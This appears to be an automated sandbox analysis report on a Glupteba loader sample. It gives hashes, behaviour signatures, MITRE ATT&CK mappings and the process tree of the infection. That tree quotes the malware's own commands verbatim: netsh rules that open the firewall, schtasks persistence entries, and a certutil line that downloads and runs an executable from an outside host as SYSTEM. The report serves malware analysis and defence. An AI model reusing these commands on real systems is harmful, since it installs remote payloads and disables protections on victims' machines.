Overview

overview

10

Static

static

3

6542432c1f...18.exe

windows7-x64

10

6542432c1f...18.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240426-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
  • submitted
    21-05-2024 23:54

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General

  • Target

    6542432c1ffe194b593e4b4fb3eb473d_JaffaCakes118.exe

  • Size

    3.9MB

  • MD5

    6542432c1ffe194b593e4b4fb3eb473d

  • SHA1

    8521d05073e2c56c90558c81220e7aa36938f300

  • SHA256

    95ccc558fd037a17d0746a4f3715ef6c0cc26c9350e17fb5c50520f3d5b3ea1e

  • SHA512

    bbca3d27af4bc81924ea51f01b1c3d7fe8f7a1b321da10e8026d0425dae7fecd956247302be6a610f651b6493c3baefc1ff073c2d30c51fde92b4619349b50ad

  • SSDEEP

    98304:cl1QnaypI+helC2ibKAn9hmVlR+g6gpNkRur6Ugtd/jT7B:cwnaED9KT+g74ZtRB

Score
10/10
gluptebadiscoverydropperevasionloaderpersistencerootkit

Malware Config

Signatures

  • Glupteba

    Glupteba is a modular loader written in Golang with various components.

    loaderdropperglupteba
  • Glupteba payload 20 IoCs
  • Modifies Windows Firewall 2 TTPs 2 IoCs
    evasion
  • Executes dropped EXE 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Manipulates WinMonFS driver. 1 IoCs

    Roottkits write to WinMonFS to hide directories/files from being detected.

    rootkitevasion
  • Modifies boot configuration data using bcdedit 1 IoCs
  • Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs

    Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

  • Drops file in Windows directory 2 IoCs
  • Program crash 2 IoCs
  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistence
  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 13 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\6542432c1ffe194b593e4b4fb3eb473d_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\6542432c1ffe194b593e4b4fb3eb473d_JaffaCakes118.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:5016
    • C:\Users\Admin\AppData\Local\Temp\6542432c1ffe194b593e4b4fb3eb473d_JaffaCakes118.exe
      "C:\Users\Admin\AppData\Local\Temp\6542432c1ffe194b593e4b4fb3eb473d_JaffaCakes118.exe"
      2⤵
      • Adds Run key to start application
      • Checks for VirtualBox DLLs, possible anti-VM trick
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:5368
      • C:\Windows\system32\cmd.exe
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\c6641b2686ea\c6641b2686ea.exe" enable=yes"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4860
        • C:\Windows\system32\netsh.exe
          netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\c6641b2686ea\c6641b2686ea.exe" enable=yes
          4⤵
          • Modifies Windows Firewall
          PID:5476
      • C:\Windows\system32\cmd.exe
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4644
        • C:\Windows\system32\netsh.exe
          netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
          4⤵
          • Modifies Windows Firewall
          PID:4640
      • C:\Windows\rss\csrss.exe
        C:\Windows\rss\csrss.exe ""
        3⤵
        • Executes dropped EXE
        • Manipulates WinMonFS driver.
        • Modifies data under HKEY_USERS
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:5732
        • C:\Windows\SYSTEM32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
          4⤵
          • Creates scheduled task(s)
          PID:1752
        • C:\Windows\SYSTEM32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://babsitef.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
          4⤵
          • Creates scheduled task(s)
          PID:2376
        • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
          "C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
          4⤵
          • Executes dropped EXE
          PID:2036
        • C:\Windows\system32\bcdedit.exe
          C:\Windows\Sysnative\bcdedit.exe /v
          4⤵
          • Modifies boot configuration data using bcdedit
          PID:1940
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 5368 -s 868
        3⤵
        • Program crash
        PID:5552
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 5016 -s 800
      2⤵
      • Program crash
      PID:6120
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 5016 -ip 5016
    1⤵
      PID:6024
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -pss -s 176 -p 5368 -ip 5368
      1⤵
        PID:5144

      Network

      MITRE ATT&CK Matrix ATT&CK v13

      Initial Access

      Execution

      Scheduled Task/Job

      1
      T1053

      Persistence

      Create or Modify System Process

      1
      T1543

      Windows Service

      1
      T1543.003

      Boot or Logon Autostart Execution

      1
      T1547

      Registry Run Keys / Startup Folder

      1
      T1547.001

      Scheduled Task/Job

      1
      T1053

      Privilege Escalation

      Create or Modify System Process

      1
      T1543

      Windows Service

      1
      T1543.003

      Boot or Logon Autostart Execution

      1
      T1547

      Registry Run Keys / Startup Folder

      1
      T1547.001

      Scheduled Task/Job

      1
      T1053

      Defense Evasion

      Impair Defenses

      1
      T1562

      Disable or Modify System Firewall

      1
      T1562.004

      Modify Registry

      1
      T1112

      Credential Access

      Discovery

      Query Registry

      2
      T1012

      System Information Discovery

      1
      T1082

      Lateral Movement

      Collection

      Exfiltration

      Command and Control

      Impact

      Resource Development

      Reconnaissance

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
        Filesize

        1.7MB

        MD5

        13aaafe14eb60d6a718230e82c671d57

        SHA1

        e039dd924d12f264521b8e689426fb7ca95a0a7b

        SHA256

        f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

        SHA512

        ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

        Download Submit
      • C:\Windows\rss\csrss.exe
        Filesize

        3.9MB

        MD5

        6542432c1ffe194b593e4b4fb3eb473d

        SHA1

        8521d05073e2c56c90558c81220e7aa36938f300

        SHA256

        95ccc558fd037a17d0746a4f3715ef6c0cc26c9350e17fb5c50520f3d5b3ea1e

        SHA512

        bbca3d27af4bc81924ea51f01b1c3d7fe8f7a1b321da10e8026d0425dae7fecd956247302be6a610f651b6493c3baefc1ff073c2d30c51fde92b4619349b50ad

        Download Submit
      • memory/5016-1-0x0000000006D80000-0x0000000007131000-memory.dmp
        Filesize

        3.7MB

        Download
      • memory/5016-2-0x0000000007140000-0x000000000783C000-memory.dmp
        Filesize

        7.0MB

        Download
      • memory/5016-3-0x0000000000400000-0x0000000000B16000-memory.dmp
        Filesize

        7.1MB

        Download
      • memory/5016-6-0x0000000000400000-0x0000000000B16000-memory.dmp
        Filesize

        7.1MB

        Download
      • memory/5016-5-0x0000000007140000-0x000000000783C000-memory.dmp
        Filesize

        7.0MB

        Download
      • memory/5016-4-0x0000000000400000-0x0000000005157000-memory.dmp
        Filesize

        77.3MB

        Download
      • memory/5368-12-0x0000000000400000-0x0000000005157000-memory.dmp
        Filesize

        77.3MB

        Download
      • memory/5732-18-0x0000000000400000-0x0000000005157000-memory.dmp
        Filesize

        77.3MB

        Download
      • memory/5732-24-0x0000000000400000-0x0000000005157000-memory.dmp
        Filesize

        77.3MB

        Download
      • memory/5732-19-0x0000000000400000-0x0000000005157000-memory.dmp
        Filesize

        77.3MB

        Download
      • memory/5732-20-0x0000000000400000-0x0000000005157000-memory.dmp
        Filesize

        77.3MB

        Download
      • memory/5732-21-0x0000000000400000-0x0000000005157000-memory.dmp
        Filesize

        77.3MB

        Download
      • memory/5732-22-0x0000000000400000-0x0000000005157000-memory.dmp
        Filesize

        77.3MB

        Download
      • memory/5732-23-0x0000000000400000-0x0000000005157000-memory.dmp
        Filesize

        77.3MB

        Download
      • memory/5732-17-0x0000000000400000-0x0000000005157000-memory.dmp
        Filesize

        77.3MB

        Download
      • memory/5732-25-0x0000000000400000-0x0000000005157000-memory.dmp
        Filesize

        77.3MB

        Download
      • memory/5732-26-0x0000000000400000-0x0000000005157000-memory.dmp
        Filesize

        77.3MB

        Download
      • memory/5732-27-0x0000000000400000-0x0000000005157000-memory.dmp
        Filesize

        77.3MB

        Download
      • memory/5732-28-0x0000000000400000-0x0000000005157000-memory.dmp
        Filesize

        77.3MB

        Download
      • memory/5732-29-0x0000000000400000-0x0000000005157000-memory.dmp
        Filesize

        77.3MB

        Download
      • memory/5732-30-0x0000000000400000-0x0000000005157000-memory.dmp
        Filesize

        77.3MB

        Download